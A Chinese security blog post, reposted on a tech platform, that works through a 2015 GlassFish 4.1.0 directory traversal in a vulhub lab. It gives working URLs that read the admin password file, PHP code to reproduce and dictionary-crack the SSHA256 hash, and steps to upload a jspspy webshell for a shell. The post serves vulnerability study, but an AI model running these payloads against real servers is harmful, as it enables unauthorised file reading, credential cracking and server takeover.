Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >GlassFish 目录穿越漏洞测试过程

GlassFish 目录穿越漏洞测试过程

作者头像
phith0n
发布于 2020-10-15 03:34:50
发布于 2020-10-15 03:34:50
1.3K00
代码可运行
举报
运行总次数:0
代码可运行

这是一个2015年的老漏洞,由于我最近在学习相关的知识,所以拿出来温习一下。

搭建测试环境

vulhub( https://github.com/phith0n/vulhub )是我学习各种漏洞的同时,创建的一个开源项目,旨在通过简单的两条命令,编译、运行一个完整的漏洞测试环境。

如何拉取项目、安装docker和docker-compose我就不多说了,详见vulhub项目主页。来到GlassFish这个漏洞的详细页面 https://github.com/phith0n/vulhub/tree/master/glassfish/4.1.0 ,可以查看一些简要说明。

在主机上拉取vulhub项目后,进入该目录,执行docker-compose builddocker-compose up -d两条命令,即可启动整个环境。

本测试环境默认对外开放两个端口:8080和4848。8080是web应用端口,4848是管理GlassFish的端口,漏洞出现在4848端口下,但无需登录管理员账号即可触发。

文件读取漏洞利用

漏洞原理与利用方法 https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904 。利用该目录穿越漏洞,可以列目录以及读取任意文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config
https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile

glassfish/domains/domain1/config/admin-keyfile是储存admin账号密码的文件,如上图,我们通过读取这个文件,拿到超级管理员的密码哈希。(说明一下,这个测试环境启动前,我通过修改docker-compose.yml,将超级管理员的密码改为了123456

密码加密方式?

可见,我们读到的密码是一串base64编码后的字符串,并且得到一个关键字:ssha256,这种“加密”方法可能和sha256有关。但,使用echo strlen(base64_decode(...));这个方式将上述base64字符串解码后测量长度,发现长为40字节。

我们知道,常见的哈希算法,md5长度为16字节,sha1长度为20字节,sha256长度为32字节,sha512长度为64字节,并没有长度为40字节的哈希算法呀?

很明显,SSHA256里应该掺杂有其他字符。

所以,我们需要研究研究GlassFish源码。官网有SVN,但下载速度太慢。我们可以上Github下载打包好的源码 https://github.com/dmatej/Glassfish/archive/master.zip (不过这个源码比较老了)

下载以后发现,压缩包竟然都有1个多G,在如此大的代码中,找一个哈希算法,真的不容易。不过在费尽千辛万苦后我还是找到了负责计算哈希的类:SSHA

https://github.com/dmatej/Glassfish/blob/master/main/nucleus/common/common-util/src/main/java/org/glassfish/security/common/SSHA.java

这个类有两个比较重要的方法,encodecomputecompute负责对明文进行哈希计算,encode负责将前者的计算结果编码成base64。

encode函数分析

先从简单的来,encode函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static String encode(byte[] salt, byte[] hash, String algo)
{       
    boolean isSHA = false;

    if (algoSHA.equals(algo)) {
        isSHA = true;
    }

    if (!isSHA) {
        assert (hash.length == 32);
    } else {
        assert (hash.length == 20);
    }

    int resultLength = 32;
    if (isSHA) {
        resultLength = 20;
    }

    byte[] res = new byte[resultLength+salt.length];
    System.arraycopy(hash, 0, res, 0, resultLength);
    System.arraycopy(salt, 0, res, resultLength, salt.length);

    GFBase64Encoder encoder = new GFBase64Encoder();
    String encoded = encoder.encode(res);

    String out = SSHA_256_TAG + encoded;
    if(isSHA) {
        out = SSHA_TAG + encoded;
    }

    return out;
}

可见,该函数兼容两种哈希算法,isSHA表示的是长度为20字节的sha1,!isSHA表示的长度为32字节的sha256。

根据我们通过文件读取漏洞得到的哈希长度和SSHA256这个关键词,我可以100%推测该哈希是sha256。看到System.arraycopy(salt, 0, res, resultLength, salt.length);这一行我就明白了:为什么我们读取到的哈希长度是40字节?

因为还有8字节是salt。整个算法大概是这样:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
base64_encode( hash( 明文, SALT ) + SALT )

hash结果是32字节,salt长度8字节,将两者拼接后base64编码,最终得到我们读取到的那个哈希值。

注意,上述所有的算法都是“raw data”。我们平时看到的a356f21e901b...这样的哈希结果是经过了hex编码的,本文不涉及任何hex编码。

compute函数分析

再来分析一下复杂一点的函数compute

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static byte[] compute(byte[] salt, byte[] password, String algo)
    throws IllegalArgumentException
{

    byte[] buff = new byte[password.length + salt.length];
    System.arraycopy(password, 0, buff, 0, password.length);
    System.arraycopy(salt, 0, buff, password.length, salt.length);

    byte[] hash = null;

    boolean isSHA = false;
    if(algoSHA.equals(algo)) {
        isSHA = true;
    }

    MessageDigest md = null;
    try {
        md = MessageDigest.getInstance(algo);
    } catch (Exception e) {
        throw new IllegalArgumentException(e);
    }

    assert (md != null);
    md.reset();
    hash = md.digest(buff);

    if (!isSHA) {
        for (int i = 2; i <= 100; i++) {
            md.reset();
            md.update(hash);
            hash = md.digest();
        }
    }    
    if (isSHA) {
        assert (hash.length == 20); // SHA output is 20 bytes
    }
    else {
        assert (hash.length == 32); //SHA-256 output is 32 bytes
    }
    return hash;
}

这个函数接受三个参数:SALT、明文和算法。其主要过程如下:

  1. 拼接明文和SALT,组成一个新的字符序列BUFF
  2. 计算BUFF的哈希结果
  3. 如果哈希算法是sha256,则再计算99次哈希结果,前一次的计算结果是下一次计算的参数

将整个过程翻译成PHP代码以方便理解与测试:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$algo = 'sha256';
$e = $plain . $salt;

$data = hash($algo, $e, true);

if ($algo == 'sha256') {
    for ($i = 2; $i <= 100; $i++) {
        $data = hash($algo, $data, true);
    }
}

echo base64_encode($data . $salt);

破解密码

测试一下我的代码是否正确。首先通过任意文件读取漏洞读取到目标服务器密文是{SSHA256}52bI8VDr9aLll3hQHhJS/45141bDudXHDMyFx97dBzL9wVu03KQDtw==,将其进行base64解码后,拿到末尾8个字节,是为salt,值为\xfd\xc1\x5b\xb4\xdc\xa4\x03\xb7

填入php代码中,计算明文123456的结果:

可见,计算结果和我通过漏洞读取的结果一致,说明计算过程没有问题。

不过我简单看了一下,hashcat并不支持这种哈希算法,所以如果需要破解密文的话,估计得自己编写相关破解的代码了。好在算法并不难,直接使用我给出的实例代码,循环跑字典即可。

Getshell

破解了密码,进入GlassFish后台,是可以直接getshell的。

点击Applications,右边的deploy:

部署一个新应用,直接上传war包(附件中给一个测试环境java1.8能使用的包,网上找的老版本jspspy,加上自己改了一下兼容性,然后打包了。2016版的jspspy我没找着,该jspspy不能保证没有后门):

然后访问http://your-ip:8080/jspspy/jspspy.jsp即可,密码xxxxxx

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Android 线程与消息机制源码分析
messagequeue是用来存储消息的载体,而lopper是无限循环查找这个载体中是否有消息, handler是创建消息并使用lopper来构建消息循环。 handler主要任务是将任务切换到指定线程中执行
Yif
2019/12/26
4140
Handler消息机制
为什么不允许子线程访问UI?UI线程不是线程安全的,多线程并发访问会出问题。为什么不加锁呢?首先加锁机制会使UI访问逻辑变复杂,其次锁机制降低UI访问效率,因为锁机制会阻塞某些线程的执行
提莫队长
2019/02/21
5740
深入解析Android中Handler消息机制
Android提供了Handler 和 Looper 来满足线程间的通信。Handler先进先出原则。Looper类用来管理特定线程内对象之间的消息交换(MessageExchange)。Handler消息机制可以说是Android系统中最重要部分之一,所以,本篇博客我们就来深入解析Android中Handler消息机制。
老马的编程之旅
2022/06/22
5850
深入解析Android中Handler消息机制
又一年对Android消息机制(Handler&Looper)的思考
Android消息机制对于每一个Android开发者来说都不陌生,在日常的开发中我们不可避免的要经常涉及这部分的内容。从开发角度来说,Handler是Android消息机制的上层接口,这使得在开发过程中只需要和Handler交互即可。Handler的使用过程很简单,通过它可以轻松的将一个任务切换Handler所在的线程中去执行。很多人认为Handler的作用是更新UI,这的确没错,但是更新UI仅仅是Handler的一个特殊的使用场景。具体来说是这样的;有时候需要再子线程中进行耗时的I/O操作,可能是读取文件或访问网络等。。。。。
静默加载
2020/05/31
1.1K2
从 Android 开发到读懂源码 第07期:Message 机制源码解析
核心类就是 ThreadLocal ,它提供线程局部变量,每个线程都有自己独立的一份变量,通常是类中的 private static 字段,它们希望将状态与某一个线程相关联,在多线程编程中常用,比如 Android 的绘制同步机制 Choreographer 中也有使用。
数据库交流
2022/04/25
4080
从 Android 开发到读懂源码 第07期:Message 机制源码解析
[Android] Handler消息传递机制
其实这块知识我都看过,但是读完这段话有些地方还是让我回想了一小会儿。想完就觉着既然回想了一遍,不如整理一篇博客出来好了。
wOw
2018/09/18
2.5K0
[Android] Handler消息传递机制
Android 进阶14:源码解读 Android 消息机制( Message MessageQueue Handler Looper)
张拭心 shixinzhang
2018/01/05
1.5K0
Android 进阶14:源码解读 Android 消息机制( Message MessageQueue Handler Looper)
【Android 异步操作】Handler 机制 ( Android 提供的 Handler 源码解析 | Handler 构造与消息分发 | MessageQueue 消息队列相关方法 )
第一个参数 Callback callback 是一个回调 , mCallback = callback , 该回调直接设置给了 mCallback 成员变量 ,
韩曙亮
2023/03/28
8720
Android 一起来看看面试必问的消息机制
Android 消息机制的主要是指的是 Handler 的运行机制以及 Handler 所附带的 MessageQueue 和 Looper 的工作过程,这三者实际上是一个整体,只不过我们在开发过程中比较多地接触 Handler 而已。
developerHaoz
2018/08/20
3470
Handler 消息机制原来解析
分为同步消息、异步消息、屏障消息。但是异步消息和屏障消息的相关API都是隐藏的,需要通过反射才能使用。
李林LiLin
2020/12/21
9960
Android全面解析之由浅及深Handler消息机制
关于Handler的博客可谓是俯拾皆是,而这也是一个老生常谈的话题,可见的他非常基础,也非常重要。但很多的博客,却很少有从入门开始介绍,这在我一开始学习的时候就直接给我讲Looper讲阻塞,非常难以理解。同时,也很少有系统地讲解关于Handler的一切,知识比较零散。我希望写一篇从入门到深入,系统地全面地讲解Handler的文章,帮助大家认识Handler。
huofo
2022/03/18
8500
Android全面解析之由浅及深Handler消息机制
Android Handler机制原理及源码解析
今天打算写一下Handler机制的原理及源码解析,Handler在我们的开发中用到的频率还是非常高的,同时这也是一个非常基础的知识点,但是即使是基础知识,有很多工作两三年的安卓开发依然是一知半解,搞不清楚原理,包括View、ViewGroup的事件分发及绘制流程。 在深入学习一下知识点之前,希望能够带着疑问去思考: 1.为什么在子线程实例化Handler会报错闪退,而主线程不会 2.为什么每个线程只能存在一个Looper和MessageQueue 3.多个Handler发送消息是怎么保证Looper轮询消息队列发送最新消息不错乱发给其他Handler的 4.子线程真的不能更新UI吗? 5.ThreadLocal的作用 ......
萬物並作吾以觀復
2018/09/13
9100
Android中的Handler机制中的问题总结
Handler是如何实现定时唤醒的,其实也就是通过epoll中的timeout来进行阻塞唤醒的.
None_Ling
2020/04/09
1.2K0
Android点将台:烽火狼烟[-Handler-]
张风捷特烈
2024/02/11
1900
Android点将台:烽火狼烟[-Handler-]
深入理解Android消息机制
Android的消息机制主要说的是Handler的运行机制,相信大家对Handler已经非常熟悉了,Handler可以轻松的将一个任务切换到Handler所在的线程中去执行。最熟悉的就是我们只能在UI线程中更新UI,所以我们经常来用Handler来更新UI,但Handler并不是专门用来更新UI的。本文源码基于Android8.0。
黄林晴
2019/02/19
6670
看完这篇,别再说你不了解 Handler 消息机制了
原文链接 https://juejin.cn/post/7291935623476183067
GeeJoe
2023/10/24
8140
看完这篇,别再说你不了解 Handler 消息机制了
Handler:Android 消息机制,我有必要再讲一次!
我们在日常开发中,总是不可避免的会用到 Handler,虽说 Handler 机制并不等同于 Android 的消息机制,但 Handler 的消息机制在 Android 开发中早已谙熟于心,非常重要!
Android架构
2019/07/24
4160
「细品源码」 Android 系统的血液:Handler
作为 Android 开发者,相信对于 Handler 的使用早已烂熟于心。Handler 对于 Android 非常重要,可以说,没有它,Android App 就是一堆“破铜烂铁”,它就像 Android 的血液,穿梭在 App 的各个角落,输送养分。
开发的猫
2020/06/19
1K0
「细品源码」 Android 系统的血液:Handler
Android进阶技术之——一文吃透Android的消息机制
作为Android中 至关重要 的机制之一,十多年来,分析它的文章不断,大量的内容已经被挖掘过了。所以:
BlueSocks
2022/04/11
1.7K0
Android进阶技术之——一文吃透Android的消息机制
Android Handler 消息处理机制
日常开发中,一般不会在子线程中直接进行 UI 操作,大部分采取的办法是创建 Message 对象,然后借助 Handler 发送出去,再在 Handler 的 handlerMessage() 方法中获取 Message 对象,进行一系列的 UI 操作。Handler 负责发送 Message, 又负责处理 Message, 其中经历了什么 ,需要从源码中一探究竟。
用户3596197
2018/10/15
5080
推荐阅读
相关推荐
Android 线程与消息机制源码分析
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验